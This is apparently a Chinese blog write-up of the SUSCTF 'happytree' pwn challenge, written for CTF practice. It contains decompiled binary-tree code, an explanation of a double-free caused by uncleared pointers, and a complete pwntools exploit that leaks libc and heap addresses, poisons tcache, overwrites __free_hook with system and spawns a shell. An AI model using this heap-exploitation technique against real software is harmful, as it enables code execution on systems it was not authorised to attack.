1. 程式人生 > 其它 >susctf pwn happytree復現

susctf pwn happytree復現

1.逆向分析

大概是一個二叉樹,通過data遞迴管理,管理堆沒有清空子樹指標,所以可以偽造堆塊造成double free

 

 創造一個0x20的管理塊,分別寫入data大小,以及建立的資料堆塊的地址

然後通過data為索引進行管理,小size放左子樹,大size放在右子樹,遞迴呼叫

_QWORD *__fastcall sub_116C(__int64 a1, _QWORD *a2, unsigned int a3)
{
  _QWORD *v4; // [rsp+10h] [rbp-20h]
  _DWORD *v5; // [rsp+20h] [rbp-10h]

  v4 = a2;
  if ( !a2 )
    
return 0LL; if ( (signed int)a3 >= *(_DWORD *)a2 ) { if ( (signed int)a3 <= *(_DWORD *)a2 ) { if ( a2[2] && a2[3] ) { v5 = (_DWORD *)dontknow(a1, a2[3]); *(_DWORD *)a2 = *v5; a2[3] = dele(a1, a2[3], (unsigned int)*v5); } else {
if ( a2[2] ) { if ( !a2[3] ) v4 = (_QWORD *)a2[2]; } else { v4 = (_QWORD *)a2[3]; } operator delete((void *)a2[1], 1uLL); operator delete(a2, 0x20uLL); } } else { a2[3] = dele(a1, a2[3], a3); } }
else { a2[2] = dele(a1, a2[2], a3); } return v4; }

dele的邏輯也差不多,遞迴呼叫刪除,就是當左右子樹同時存在的時候,有個函式,一開始沒看清楚就叫dontknow了

__int64 __fastcall sub_F72(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  __int64 v3; // [rsp+18h] [rbp-8h]

  result = a2;
  v3 = a2;
  if ( !a2 )
    return 0LL;
  while ( v3 )
  {
    if ( !*(_QWORD *)(v3 + 16) )
      return v3;
    result = *(_QWORD *)(v3 + 16);
    v3 = result;
  }
  return result;
}

那個dontknow函式,邏輯看的不是很清楚,當左右子樹都存在的時候會先看右子樹裡是否存在左子樹,似乎是先做了一個前向的遞迴?不過動調看來對題目影響不是很大

__int64 __fastcall show(__int64 a1, __int64 a2, int a3)
{
  __int64 result; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // [rsp+28h] [rbp-8h]

  result = a2;
  v6 = a2;
  if ( a2 )
  {
    while ( v6 )
    {
      if ( a3 == *(_DWORD *)v6 )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
        v5 = std::operator<<<std::char_traits<char>>(&std::cout, *(_QWORD *)(v6 + 8));
        return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      }
      if ( a3 <= *(_DWORD *)v6 )
        result = *(_QWORD *)(v6 + 16);
      else
        result = *(_QWORD *)(v6 + 24);
      v6 = result;
    }
  }
  else
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find");
    result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  }
  return result;

show函式,按照data索引輸出,沒啥好說的

2.利用

因為以前做的doublefree uaf啥的基本都是給edit掛進去直接改就行,所以這題一開始折騰半天沒想明白咋利用,最後就面向wp復現了

大概思路就是

1.發現堆塊裡面的資料free完以後再拿出來,裡面的指標沒有被清空,所以可以很輕易的洩露heap_base和libc

2.fake_fd,我們可以申請一個0x20的堆塊(管理塊同大),在寫入fake_fd(指向fake_chunk),然後free掉,這樣資料塊裡的指標就會保留下來並鏈入tcache,然後連續兩次add,第二次add的管理塊的左子樹就會殘留我們佈局好的fake_fd

3.構造fake_chunk,上一步我們構造好了指向fake_chunk位置的fake_fd,那麼下一步我們只需要在該處構造fake_chunk,將該處偽造成一個的管理塊,並且他的資料塊的指標指向當前堆內第一個tcache。

然後將我們剛剛偽造的fake_chunk free掉,即可完成doublefree

 

3.exp

from pwn import *
p = process("./happytree")
libc = ELF("libc-2.27.so")
def add(data,content):
    p.recvuntil("cmd> ")
    p.sendline("1")
    p.recvuntil("data: ")
    p.sendline(str(data))
    p.recvuntil("content: ")
    p.send(content)
def free(data):
    p.sendlineafter('cmd>','2')
    p.sendlineafter('data:',str(data))
def show(data):
    p.sendlineafter('cmd>','3')
    p.sendlineafter('data:',str(data))
for i in range(8):
    add(0x80+i,b'A')
for i in range(8):
    free(0x80+7-i)
add(0x70,b'A'*8)
show(0x70)
p.recvuntil(b'A'*8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x80-0x60-0x10-libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
print(hex(libc_base))
free(0x70)
add(0x20,b'\xb0')
show(0x20)
p.recvuntil("content: ")
heap_base = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))-0x120b0
print(hex(heap_base))
free(0x20)
payload = p64(0)+p64(0)+p64(heap_base+0x11eb0)*2
add(0x20,payload)
free(0x20)
payload = b'/bin/sh\x00'+p64(0x31)+p64(0x20)+p64(heap_base+0x120b0)
add(0x68,payload)
add(0x40,b'\n')
free(0x20)
add(0x21,p64(free_hook))
add(0x22,p64(sys))
add(0x23,b'/bin/sh\x00')
free(0x23)
#gdb.attach(p)
p.interactive()